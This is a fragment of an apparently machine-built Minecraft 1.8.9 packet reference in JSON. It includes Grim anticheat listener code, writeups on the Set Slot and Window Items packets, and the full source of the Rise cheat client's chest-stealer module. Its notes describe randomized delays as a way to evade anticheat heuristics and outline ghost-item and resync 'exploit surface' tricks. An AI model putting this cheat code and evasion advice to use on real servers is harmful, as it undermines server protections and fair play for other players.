player.inventory.getHeldItem();\n            if (packet.getHand() == InteractionHand.OFF_HAND) {\n                placedWith = player.inventory.getOffHand();\n            }\n\n            // This is the use item packet\n            if (packet.getFace() == BlockFace.OTHER && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9)) {\n                player.placeUseItemPackets.add(new BlockPlaceSnapshot(packet, player.isSneaking));\n            } else {\n                // Anti-air place\n                BlockPlace blockPlace = new BlockPlace(player, packet.getHand(), packet.getBlockPosition(), packet.getFaceId(), packet.getFace(), placedWith, WorldRayTrace.getNearestBlockHitResult(player, null, true, false, false), packet.getSequence());\n                blockPlace.cursor = packet.getCursorPosition();\n\n                if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_11) && player.getClientVersion().isOlderThan(ClientVersion.V_1_11)) {\n                    // ViaRewind is stupid and divides the byte by 15 to get the float\n                    // We must undo this to get the correct block place... why?\n                    if (packet.getCursorPosition().getX() * 15 % 1 == 0 && packet.getCursorPosition().getY() * 15 % 1 == 0 && packet.getCursorPosition().getZ() * 15 % 1 == 0) {\n                        // This is impossible to occur without ViaRewind, fix their stupidity\n                        int trueByteX = (int) (packet.getCursorPosition().getX() * 15);\n                        int trueByteY = (int) (packet.getCursorPosition().getY() * 15);\n                        int trueByteZ = (int) (packet.getCursorPosition().getZ() * 15);\n\n                        blockPlace.cursor = new Vector3f(trueByteX / 16f, trueByteY / 16f, trueByteZ / 16f);\n                    }\n                }\n\n                player.checkManager.onBlockPlace(blockPlace);\n\n                if (event.isCancelled() || blockPlace.isCancelled() || player.getSetbackTeleportUtil().shouldBlockMovement()) { // The player tried placing blocks in air/water\n\n                    if (!event.isCancelled()) {\n                        event.setCancelled(true);\n                        player.onPacketCancel();\n                    }\n\n                    Vector3i facePos = new Vector3i(packet.getBlockPosition().getX() + packet.getFace().getModX(), packet.getBlockPosition().getY() + packet.getFace().getModY(), packet.getBlockPosition().getZ() + packet.getFace().getModZ());\n\n                    // Ends the client prediction introduced in 1.19+\n                    if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_19) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_19)) {\n                        player.user.sendPacket(new WrapperPlayServerAcknowledgeBlockChanges(packet.getSequence()));\n                    } else { // The client isn't smart enough to revert changes\n                        player.resyncPosition(packet.getBlockPosition());\n                        player.resyncPosition(facePos);\n                    }\n\n                    // Stop inventory desync from cancelling place\n                    if (player.platformPlayer != null) {\n                        if (packet.getHand() == InteractionHand.MAIN_HAND) {\n                            ItemStack mainHand = player.platformPlayer.getInventory().getItemInHand();\n                            player.user.sendPacket(new WrapperPlayServerSetSlot(0, player.inventory.stateID, 36 + player.packetStateData.lastSlotSelected, mainHand));\n                        } else {\n                            ItemStack offHand = player.platformPlayer.getInventory().getItemInOffHand();\n                            player.user.sendPacket(new WrapperPlayServerSetSlot(0, player.inventory.stateID, 45, offHand));\n                        }\n                    }\n\n                } else { // Legit place\n                    player.placeUseItemPackets.add(new BlockPlaceSnapshot(packet, player.isSneaking));\n                }\n            }\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.USE_ITEM) {\n            WrapperPlayClientUseItem packet = new WrapperPlayClientUseItem(event);\n            player.placeUseItemPackets.add(new BlockPlaceSnapshot(packet, player.isSneaking));\n            player.lastBlockPlaceUseItem = System.currentTimeMillis();\n        }\n\n        // Call the packet checks last as they can modify the contents of the packet\n        // Such as the NoFall check setting the player to not be on the ground\n        player.checkManager.onPacketReceive(event);\n\n        if (player.packetStateData.cancelDuplicatePacket) {\n            event.setCancelled(true);\n            player.packetStateData.cancelDuplicatePacket = false;\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.CLIENT_TICK_END && player.supportsEndTick()) {\n            player.serverOpenedInventoryThisTick = false;\n            if (!player.packetStateData.didSendMovementBeforeTickEnd) {\n                // The player didn't send a movement packet, so we can predict this like we had idle tick on 1.8\n                player.packetStateData.didLastLastMovementIncludePosition = player.packetStateData.didLastMovementIncludePosition;\n                player.packetStateData.didLastMovementIncludePosition = false;\n\n                // Track dash cooldown\n                if (!player.inVehicle()) {\n                    player.dashableEntities.tick();\n                }\n            }\n            player.packetStateData.didSendMovementBeforeTickEnd = false;\n        }\n\n        // Finally, remove the packet state variables on this packet\n        player.packetStateData.lastPacketWasOnePointSeventeenDuplicate = false;\n        player.packetStateData.lastPacketWasTeleport = false;\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getConnectionState() != ConnectionState.PLAY) return;\n        GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n        if (player == null) return;\n        player.checkManager.onPacketSend(event);\n    }\n\n    private static boolean isDuplicatePacket(@NotNull GrimPlayer player, @NotNull WrapperPlayClientPlayerFlying flying) {\n        // teleports are not duplicate packets\n        if (player.packetStateData.lastPacketWasTeleport) return false;\n\n        // duplicate packets were added in 1.17 and removed in 1.21\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_17)\n                // Mojang has become less stupid!\n                || player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21)) return false;\n\n        // EVEN A BUNCH OF MONKEYS ON A TYPEWRITER COULDNT WRITE WORSE NETCODE THAN MOJANG\n\n        // duplicate packets always have position and rotation\n        if (!flying.hasPositionChanged() || !flying.hasRotationChanged()) return false;\n\n        // if the player was in a vehicle, has position and look, and wasn't a teleport, then this was a duplicate packet\n        if (player.inVehicle()) return true;\n\n        final Vector3d position = flying.getLocation().getPosition();\n        final double threshold = player.getMovementThreshold();\n\n        // ground status will never change in duplicate packets\n        return flying.isOnGround() == player.packetStateData.packetPlayerOnGround\n                // due to 0.03, we can't check exact position, only within 0.03\n                && player.filterMojangStupidityOnMojangStupidity.distanceSquared(position) < threshold * threshold;\n    }\n\n    private static void handleDuplicatePacket(\n            @NotNull GrimPlayer player,\n            @NotNull PacketReceiveEvent event,\n            @NotNull WrapperPlayClientPlayerFlying flying) {\n        final float yaw = flying.getLocation().getYaw();\n        final float pitch = flying.getLocation().getPitch();\n        final Vector3d position = flying.getLocation().getPosition();\n\n        // Mark that we want this packet to be cancelled from reaching the server\n        // Additionally, only yaw and pitch matters: https://github.com/GrimAnticheat/Grim/issues/1275#issuecomment-1872444018\n        // 1.9+ isn't impacted by this packet as much.\n        if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9) && player.isCancelDuplicatePacket()) {\n            player.packetStateData.cancelDuplicatePacket = true;\n        } else {\n            // Override location to force it to use the last real position of the player. Prevents position-related bypasses like NoFall.\n            flying.setLocation(new Location(\n                    player.filterMojangStupidityOnMojangStupidity.getX(),\n                    player.filterMojangStupidityOnMojangStupidity.getY(),\n                    player.filterMojangStupidityOnMojangStupidity.getZ(),\n                    yaw,\n                    pitch\n            ));\n            event.markForReEncode(true);\n        }\n\n        player.packetStateData.lastPacketWasOnePointSeventeenDuplicate = true;\n\n        if (!player.isIgnoreDuplicatePacketRotation()) {\n            if (player.yaw != yaw || player.pitch != pitch) {\n                player.lastYaw = player.yaw;\n                player.lastPitch = player.pitch;\n            }\n\n            // Take the pitch and yaw, just in case we were wrong about this being a duplicate packet\n            player.yaw = yaw;\n            player.pitch = pitch;\n        }\n\n        player.packetStateData.lastClaimedPosition = position;\n    }\n\n    private static void handleFlying(GrimPlayer player, double x, double y, double z, float yaw, float pitch, boolean hasPosition, boolean hasLook, boolean onGround, TeleportAcceptData teleportData) {\n        long now = System.currentTimeMillis();\n\n        if (!hasPosition) {\n            // This may need to be secured later, although nothing that is very important relies on this\n            // 1.8 ghost clients can't abuse this anyway\n            player.uncertaintyHandler.lastPointThree.reset();\n        }\n\n        // We can't set the look if this is actually a duplicate packet\n        // If the last packet wasn't stupid, then ignore this logic\n        // If it was stupid, only change the look if it's different\n        // Otherwise, reach and fireworks can false\n        if (hasLook && (!player.packetStateData.lastPacketWasOnePointSeventeenDuplicate ||\n                player.yaw != yaw || player.pitch != pitch)) {\n            player.lastYaw = player.yaw;\n            player.lastPitch = player.pitch;\n        }\n\n        CheckManagerListener.handleQueuedPlaces(player, hasLook, pitch, yaw, now);\n        CheckManagerListener.handleQueuedBreaks(player, hasLook, pitch, yaw, now);\n\n        // We can set the new pos after the places\n        if (hasPosition) {\n            player.packetStateData.lastClaimedPosition = new Vector3d(x, y, z);\n        }\n\n        // This stupid mechanic has been measured with 0.03403409022229198 y velocity... DAMN IT MOJANG, use 0.06 to be safe...\n        if (!hasPosition && onGround != player.packetStateData.packetPlayerOnGround && !player.inVehicle()) {\n            // Check for blocks within 0.03 of the player's position before allowing ground to be true - if 0.03\n            // Cannot use collisions like normal because stepping messes it up :(\n            //\n            // This may need to be secured better, but limiting the new setback positions seems good enough for now...\n            boolean canFeasiblyPointThree = Collisions.slowCouldPointThreeHitGround(player, player.x, player.y, player.z);\n            if (!canFeasiblyPointThree && !player.compensatedWorld.isNearHardEntity(player.boundingBox.copy().expand(4))\n                    || player.clientVelocity.getY() > 0.06 && !player.uncertaintyHandler.wasAffectedByStuckSpeed()) { // TODO: still needed?\n                // Ghost block/0.03 abuse\n                player.getSetbackTeleportUtil().executeForceResync();\n            } else {\n                // Accept the new ground status\n                player.lastOnGround = onGround;\n                player.clientClaimsLastOnGround = onGround;\n                player.uncertaintyHandler.onGroundUncertain = true;\n            }\n        }\n\n        if (!player.packetStateData.lastPacketWasTeleport) {\n            player.packetStateData.packetPlayerOnGround = onGround;\n        }\n\n        if (hasLook) {\n            player.yaw = yaw;\n            player.pitch = pitch;\n            player.vehicleData.playerPitch = pitch;\n            player.vehicleData.playerYaw = yaw;\n\n            float deltaXRot = player.yaw - player.lastYaw;\n            float deltaYRot = player.pitch - player.lastPitch;\n\n            final RotationUpdate update = new RotationUpdate(new HeadRotation(player.lastYaw, player.lastPitch), new HeadRotation(player.yaw, player.pitch), deltaXRot, deltaYRot);\n            player.checkManager.onRotationUpdate(update);\n        }\n\n        if (hasPosition) {\n            Vector3d position = new Vector3d(x, y, z);\n            Vector3d clampVector = VectorUtils.clampVector(position);\n            final PositionUpdate update = new PositionUpdate(new Vector3d(player.x, player.y, player.z), position, onGround, teleportData.getSetback(), teleportData.getTeleportData(), teleportData.isTeleport());\n\n            // Duplicate packets don't care about 0.03\n            if (!player.packetStateData.lastPacketWasOnePointSeventeenDuplicate) {\n                player.filterMojangStupidityOnMojangStupidity.copy(clampVector);\n            }\n\n            if (!player.inVehicle() && !player.packetStateData.lastPacketWasOnePointSeventeenDuplicate) {\n                player.lastX = player.x;\n                player.lastY = player.y;\n                player.lastZ = player.z;\n\n                player.x = clampVector.getX();\n                player.y = clampVector.getY();\n                player.z = clampVector.getZ();\n\n                player.checkManager.onPositionUpdate(update);\n            } else if (update.isTeleport()) { // Mojang doesn't use their own exit vehicle field to leave vehicles, manually call the setback handler\n                player.getSetbackTeleportUtil().onPredictionComplete(new PredictionComplete(0, update, true));\n            }\n        }\n\n        player.packetStateData.didLastLastMovementIncludePosition = player.packetStateData.didLastMovementIncludePosition;\n        player.packetStateData.didLastMovementIncludePosition = hasPosition;\n\n        if (!player.packetStateData.lastPacketWasTeleport) {\n            player.packetStateData.didSendMovementBeforeTickEnd = true;\n        }\n\n        player.packetStateData.horseInteractCausedForcedRotation = false;\n    }\n\n    private static void handleDigging(GrimPlayer player, PacketReceiveEvent event) {\n        player.lastBlockBreak = System.currentTimeMillis();\n\n        final WrapperPlayClientPlayerDigging packet = new WrapperPlayClientPlayerDigging(event);\n        final DiggingAction action = packet.getAction();\n\n        if (action != DiggingAction.START_DIGGING\n                && action != DiggingAction.FINISHED_DIGGING\n                && action != DiggingAction.CANCELLED_DIGGING) {\n            return;\n        }\n\n        final BlockBreak blockBreak = new BlockBreak(player, packet.getBlockPosition(), packet.getBlockFace(), packet.getBlockFaceId(), action, packet.getSequence(), player.compensatedWorld.getBlock(packet.getBlockPosition()));\n\n        player.checkManager.onBlockBreak(blockBreak);\n\n        if (blockBreak.isCancelled()) {\n            event.setCancelled(true);\n            player.onPacketCancel();\n            player.resyncPosition(blockBreak.position, packet.getSequence());\n            return;\n        }\n\n        player.queuedBreaks.add(blockBreak);\n\n        if (action == DiggingAction.FINISHED_DIGGING && BREAKABLE.test(blockBreak.block.getType())) {\n            player.compensatedWorld.startPredicting();\n            player.compensatedWorld.updateBlock(blockBreak.position.x, blockBreak.position.y, blockBreak.position.z, 0);\n            player.compensatedWorld.stopPredicting(packet);\n        }\n\n        if (action == DiggingAction.START_DIGGING) {\n            // FIXME: getBlockDamage might not return the correct value if the player switched slots before this\n            double damage = BlockBreakSpeed.getBlockDamage(player, blockBreak.block);\n\n            // Instant breaking, no damage means it is unbreakable by creative players (with swords)\n            if (damage >= 1) {\n                player.compensatedWorld.startPredicting();\n                player.blockHistory.add(\n                        new BlockModification(\n                                player.compensatedWorld.getBlock(blockBreak.position),\n                                WrappedBlockState.getByGlobalId(0),\n                                blockBreak.position,\n                                GrimAPI.INSTANCE.getTickManager().currentTick,\n                                BlockModification.Cause.START_DIGGING\n                        )\n                );\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_13) && Materials.isWaterSource(player.getClientVersion(), blockBreak.block)) {\n                    // Vanilla uses a method to grab water flowing, but as you can't break flowing water\n                    // We can simply treat all waterlogged blocks or source blocks as source blocks\n                    player.compensatedWorld.updateBlock(blockBreak.position, StateTypes.WATER.createBlockState(CompensatedWorld.blockVersion));\n                } else {\n                    player.compensatedWorld.updateBlock(blockBreak.position.x, blockBreak.position.y, blockBreak.position.z, 0);\n                }\n                player.compensatedWorld.stopPredicting(packet);\n            }\n        }\n\n        player.compensatedWorld.handleBlockBreakPrediction(packet);\n    }\n}\n// NOTE (AI): The SetSlot send sits in the block-place handling branch and uses the inventory state id, which keeps the packet valid on 1.9+ protocol versions. The listener is the single entry point for client packets before the check manager runs.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/CheckManagerListener.java",
       "variations": "No other anticheat in the corpus writes S2F packets; Grim is alone in both consuming and producing set-slot traffic."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x2F: byte windowId, short slot, then Slot ItemStack encoding.",
    "Window -1 with slot -1 updates the cursor item; window 0 updates player inventory.",
    "Single-slot sync; full-window resync arrives separately via S30 Window Items.",
    "MCP 1.8.9 S2FPacketSetSlot implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSetSlot; wire serde is readPacketData/writePacketData via readByte, readItemStackFromBuffer, readShort.",
    "1.8.9 callers: EntityPlayerMP.sendSlotContents sends new S2FPacketSetSlot (line 860) +2 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S2FPacketSetSlot/",
   "mcp_path": "net/minecraft/network/play/server/S2FPacketSetSlot.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP",
    "NetHandlerPlayServer"
   ]
  },
  {
   "id": "S30PacketWindowItems",
   "hex": "0x30",
   "dec": 48,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Window Items",
   "desc": "Sends the full contents of an inventory window, all slots at once. Used for initial container opening and rejected transaction recovery.",
   "tags": [
    "inventory",
    "container",
    "item"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "unsigned byte",
     "desc": "Window ID (0 = player inventory)"
    },
    {
     "name": "items",
     "type": "ItemStack[]",
     "desc": "Array of all ItemStacks in the window, slot by slot"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "Unsigned Byte",
     ""
    ],
    [
     "Count",
     "short",
     "Number of slots"
    ],
    [
     "Slot Data",
     "Array of Slot",
     "All ItemStacks"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleWindowItems()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "For windowId=0, this updates the entire player inventory (45 slots: 9 hotbar + 36 main). For chests, this is sent immediately after S2DPacketOpenWindow. When a C0E click is rejected (S32 accepted=false), the server re-sends S30 to force the client to revert its inventory.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S30PacketWindowItems is the full-window sync packet: an unsigned byte window id, a short slot count, then every slot encoding in order. The server sends it when a container opens (right after S2D PacketOpenWindow), when the player joins or respawns, and as the recovery path when a click transaction is rejected (S32 accepted=false). It is the server's authoritative statement of window contents, and the client applies it wholesale, replacing the container's slot list."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleWindowItems maps windowId 0 and the player inventory window to inventoryContainer and everything else to the open container, then overwrites every slot via putStacksInSlots. EntityPlayerMP.updateCraftingInventory (line 773) builds the list from inventorySlots and sends S30 on every full sync. Because the client trusts the dump completely, S30 is both the sync primitive and the revert mechanism: any client-side inventory manipulation is undone the moment the server decides to re-send."
     },
     {
      "h": "Why clients touch it",
      "p": "Only Rise uses S30 as a module surface in the corpus. Rise 5.99 Stealer treats it as the go signal: gotItems flips true when the chest contents land, and the steal loop only starts clicking after that flag, with a randomized per-click delay and auto-close. Rise 5.99 Aura resets its blocking flag on S30, since a full window sync invalidates the client's assumption that the sword is still blocking. Rise 6.x AdaptiveRefreshRateComponent counts S30 among the significant packets that dirty the HUD cache."
     },
     {
      "h": "Exploit surface",
      "p": "S30 is the correction mechanism that makes S2F cancellation a short-horizon trick: one rejected transaction and the server pushes a full dump that reverts any ghost slot. For stealers the ordering constraint is the exploit surface: clicking before S30, or after a rejected click, races the resync and produces the visible pattern (clicking a slot whose content the server already changed) that chest-stealer heuristics flag. The packet is also the largest inventory packet on the wire, so a server that rejects transactions in a loop can force repeated full dumps, a bandwidth tax with no client-side mitigation in the corpus."
     }
    ],
    "overview": "The full-window sync and the revert path for rejected clicks. Rise 5.99's Stealer uses it as the trigger to start clicking chests, Aura resets its block state on it, and Rise 6.x treats it as a HUD-significant packet. Every other client in the corpus reaches it only through the vanilla handler.",
    "server_handling": "EntityPlayerMP.updateCraftingInventory (line 773) serializes the container's inventorySlots into a List and sends S30(windowId, list) on open, respawn, and after rejected clicks. NetHandlerPlayServer.processClickWindow validates the action number; on mismatch it calls updateCraftingInventory so the client receives a corrected dump. The client handler resolves the window by id (0 and the player window map to inventoryContainer, otherwise the open container) and overwrites all slots.",
    "protocol_notes": "Wire: unsigned byte windowId, short count, then count Slot encodings (short id, byte count, short damage, optional NBT). Slots are ordered container-first, then player inventory 9-35, then hotbar 0-8. The cursor is not included; it is synced separately by S2F(-1,-1). A chest open produces S2D then S30 back to back, which is why inventory modules gate on S30 instead of the GUI opening event: the screen renders before the server contents arrive.",
    "anticheat_landscape": "No anti-cheat measures S30 itself; it is authoritative recovery data. The heuristics that matter sit on the clicks around it: a stealer that fires before S30, or after a rejected transaction, clicks against stale content and produces the tell-tale sequence (C0E immediately followed by the server's S30 correction). Ghost-item exploits depend on S30 never arriving for the manipulated window, so cancel-happy modules trade durability: the longer the manipulation, the more likely a full dump reverts it.",
    "modules": [
     {
      "name": "Stealer",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Chest stealer: use S30 as the sync gate, then click every whitelisted item with randomized delays and auto-close.",
      "how_it_works": "onPacketReceive: if the packet is S30, set gotItems = true. onRender2DEvent: while GuiChest is open, wait a randomized decidedTimer (between min and max delay settings), then scan chest.inventorySlots and windowClick(chest.windowId, i, 0, 1, player) on the first whitelisted item, resetting the timer; auto-close via closeScreen once gotItems or ticksInChest > 10. gotItems resets whenever the player leaves the chest.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/player/Stealer.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.player;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.render.Render2DEvent;\nimport dev.rise.font.CustomFont;\nimport dev.rise.font.fontrenderer.TTFFontRenderer;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.render.theme.ThemeType;\nimport dev.rise.util.render.theme.ThemeUtil;\nimport net.minecraft.block.BlockFalling;\nimport net.minecraft.block.BlockSlime;\nimport net.minecraft.block.BlockTNT;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.client.gui.inventory.GuiChest;\nimport net.minecraft.init.Items;\nimport net.minecraft.inventory.ContainerChest;\nimport net.minecraft.item.*;\nimport net.minecraft.network.play.server.S30PacketWindowItems;\nimport org.apache.commons.lang3.RandomUtils;\nimport org.lwjgl.input.Keyboard;\nimport org.lwjgl.opengl.Display;\n\nimport java.util.ArrayList;\n\n@ModuleInfo(name = \"Stealer\", description = \"Steals items from chests\", category = Category.PLAYER)\npublic final class Stealer extends Module {\n\n    private final TimeUtil timer = new TimeUtil();\n    private final TimeUtil startTimer = new TimeUtil();\n\n    private final NumberSetting minDelay = new NumberSetting(\"Min Delay\", this, 5, 0, 1000, 25);\n    private final NumberSetting maxDelay = new NumberSetting(\"Max Delay\", this, 5, 0, 1000, 25);\n    private final BooleanSetting stealTrashItems = new BooleanSetting(\"Steal trash items\", this, false);\n    private final BooleanSetting autoClose = new BooleanSetting(\"Auto Close\", this, true);\n    private final BooleanSetting hideGui = new BooleanSetting(\"Hide Gui\", this, true);\n    private final BooleanSetting mouseInput = new BooleanSetting(\"Move head in chest\", this, true);\n    private final BooleanSetting chestName = new BooleanSetting(\"Check chest name\", this, false);\n    private final BooleanSetting disableOnWorldChange = new BooleanSetting(\"Disable on World Change\", this, false);\n\n    private int decidedTimer = 0;\n\n    public static boolean hideChestGui, allowMouseInput, closeAfterContainer;\n\n    private boolean gotItems;\n    private final static TTFFontRenderer comfortaa = CustomFont.FONT_MANAGER.getFont(\"Comfortaa 18\");\n    private int ticksInChest;\n\n    private boolean lastInChest;\n\n    @Override\n    protected void onDisable() {\n        closeAfterContainer = false;\n        allowMouseInput = false;\n        hideChestGui = false;\n        gotItems = false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (mc.thePlayer.ticksExisted <= 60) return;\n\n        if (event.getPacket() instanceof S30PacketWindowItems) {\n            gotItems = true;\n        }\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.thePlayer.ticksExisted <= 60) return;\n        if (mc.currentScreen instanceof GuiChest && Display.isVisible() && mouseInput.isEnabled() && hideGui.isEnabled() && (!chestName.isEnabled() || (((GuiChest) mc.currentScreen).lowerChestInventory.getDisplayName().getUnformattedText().contains(\"chest\")))) {\n            mc.mouseHelper.centerMouse();\n            mc.mouseHelper.mouseGrab(false);\n            mc.mouseHelper.mouseGrab(true);\n        }\n\n        if (mc.currentScreen instanceof GuiChest) {\n            ticksInChest++;\n\n            if (ticksInChest * 50 > 255) {\n                ticksInChest = 10;\n            }\n        } else {\n            ticksInChest--;\n            gotItems = false;\n            if (ticksInChest < 0) {\n                ticksInChest = 0;\n            }\n        }\n    }\n\n    @Override\n    public void onRender2DEvent(final Render2DEvent event) {\n        if (mc.thePlayer.ticksExisted <= 60) return;\n        if (!lastInChest) startTimer.reset();\n        lastInChest = mc.currentScreen instanceof GuiChest;\n\n        if (mc.currentScreen instanceof GuiChest) {\n            if (hideGui.isEnabled()) {\n                hideChestGui = true;\n            }\n\n            if (mouseInput.isEnabled()) {\n                allowMouseInput = true;\n            }\n\n            if (chestName.isEnabled()) {\n                final String name = ((GuiChest) mc.currentScreen).lowerChestInventory.getDisplayName().getUnformattedText();\n\n                if (!name.toLowerCase().contains(\"chest\")) return;\n            }\n\n            if (hideGui.isEnabled()) {\n                final ScaledResolution SR = new ScaledResolution(mc);\n                final String t = \"Stealing chest... Press \" + Keyboard.getKeyName(mc.gameSettings.keyBindInventory.getKeyCode()) + \" to close the chest\";\n                int o;\n\n                o = ticksInChest * 50;\n\n                if (o > 255)\n                    o = 255;\n\n                comfortaa.drawStringWithShadow(t, SR.getScaledWidth() / 2f - comfortaa.getWidth(t) / 2f, SR.getScaledHeight() - 80, ThemeUtil.getThemeColorInt(ThemeType.GENERAL));\n            }\n\n            if (decidedTimer == 0) {\n                final int delayFirst = (int) Math.floor(Math.min(minDelay.getValue(), maxDelay.getValue()));\n                final int delaySecond = (int) Math.ceil(Math.max(minDelay.getValue(), maxDelay.getValue()));\n                decidedTimer = RandomUtils.nextInt(delayFirst, delaySecond);\n            }\n\n            if (timer.hasReached(decidedTimer)) {\n                final ContainerChest chest = (ContainerChest) mc.thePlayer.openContainer;\n\n                for (int i = 0; i < chest.inventorySlots.size(); i++) {\n                    final ItemStack stack = chest.getLowerChestInventory().getStackInSlot(i);\n                    if (stack != null && (itemWhitelisted(stack) && !stealTrashItems.isEnabled())) {\n                        mc.playerController.windowClick(chest.windowId, i, 0, 1, mc.thePlayer);\n                        timer.reset();\n\n                        final int delayFirst = (int) Math.floor(Math.min(minDelay.getValue(), maxDelay.getValue()));\n                        final int delaySecond = (int) Math.ceil(Math.max(minDelay.getValue(), maxDelay.getValue()));\n\n                        decidedTimer = RandomUtils.nextInt(delayFirst, delaySecond);\n\n                        gotItems = true;\n                        return;\n                    }\n                }\n\n                if (autoClose.isEnabled() && (gotItems || ticksInChest > 10)) {\n                    mc.thePlayer.closeScreen();\n                }\n            }\n        } else {\n            hideChestGui = false;\n            allowMouseInput = false;\n        }\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        if (disableOnWorldChange.isEnabled()) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n        }\n    }\n    private boolean itemWhitelisted(final ItemStack itemStack) {\n        final ArrayList<Item> whitelistedItems = new ArrayList<Item>() {{\n            add(Items.ender_pearl);\n            add(Items.iron_ingot);\n            add(Items.gold_ingot);\n            add(Items.redstone);\n            add(Items.diamond);\n            add(Items.emerald);\n            add(Items.quartz);\n            add(Items.bow);\n            add(Items.arrow);\n            add(Items.fishing_rod);\n        }};\n\n        final Item item = itemStack.getItem();\n        final String itemName = itemStack.getDisplayName();\n\n        if (itemName.contains(\"Right Click\") || itemName.contains(\"Click to Use\") || itemName.contains(\"Players Finder\"))\n            return true;\n\n        final ArrayList<Integer> whitelistedPotions = new ArrayList<Integer>() {{\n            add(6);\n            add(1);\n            add(5);\n            add(8);\n            add(14);\n            add(12);\n            add(10);\n            add(16);\n        }};\n\n        if (item instanceof ItemPotion) {\n            final int potionID = getPotionId(itemStack);\n            return whitelistedPotions.contains(potionID);\n        }\n\n        return (item instanceof ItemBlock\n                && !(((ItemBlock) item).getBlock() instanceof BlockTNT)\n                && !(((ItemBlock) item).getBlock() instanceof BlockSlime)\n                && !(((ItemBlock) item).getBlock() instanceof BlockFalling))\n                || item instanceof ItemAnvilBlock\n                || item instanceof ItemSword\n                || item instanceof ItemArmor\n                || item instanceof ItemTool\n                || item instanceof ItemFood\n                || item instanceof ItemSkull\n                || itemName.contains(\"\\247\")\n                || whitelistedItems.contains(item)\n                && !item.equals(Items.spider_eye);\n    }\n\n    private int getPotionId(final ItemStack potion) {\n        final Item item = potion.getItem();\n\n        try {\n            if (item instanceof ItemPotion) {\n                final ItemPotion p = (ItemPotion) item;\n                return p.getEffects(potion.getMetadata()).get(0).getPotionID();\n            }\n        } catch (final NullPointerException ignored) {\n        }\n\n        return 0;\n    }\n}\n\n// NOTE (AI): gotItems is the gate: the steal loop starts only after S30 lands, so clicks never race the initial dump. The randomized delay between clicks and the whitelist in itemWhitelisted define the steal pattern; auto-close fires once the chest is empty or 10+ ticks elapsed inside it.\n",
      "code_source": "Rise 5.99, dev/rise/module/impl/player/Stealer.java",
      "vanilla_hook": "PacketReceiveEvent, Render2DEvent, PreMotionEvent, WorldChangedEvent.",
      "anti_cheat_notes": "The randomized per-click delay and whitelist are the anti-heuristic layer; the pattern (one click per delay, immediate close) is still the classic chest-stealer fingerprint.",
      "variations": "None in the corpus; Rise 6.x does not ship a chest stealer that touches S30, only the HUD component."
     },
     {
      "name": "Aura",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Reset the blocking state when a full window sync arrives.",
      "how_it_works": "onPacketReceive: if the packet is S30PacketWindowItems, blocking = false. The Hypixel block mode keeps a blocking flag while the sword is held up; a full window sync means the server corrected the inventory, so the client must drop its assumption that the block is still active.",
      "detailed_code": null,
      "code_source": "Rise 5.99, dev/rise/module/impl/combat/Aura.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Purely a state resync; prevents false block states after inventory corrections. No anti-cheat signal.",
      "variations": "None in the corpus; the file is 1145 lines of combat logic with this single S30 reference at line 190."
     },
     {
      "name": "AdaptiveRefreshRateComponent",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "HUD performance component: S30 is one of the significant packets that force a GuiIngameCache redraw.",
      "how_it_works": "PacketReceiveEvent: on S30, reset the StopWatch and mark the cache dirty so the next frame re-renders. Same component as the S2F entry; both packets are treated as inventory-significant events.",
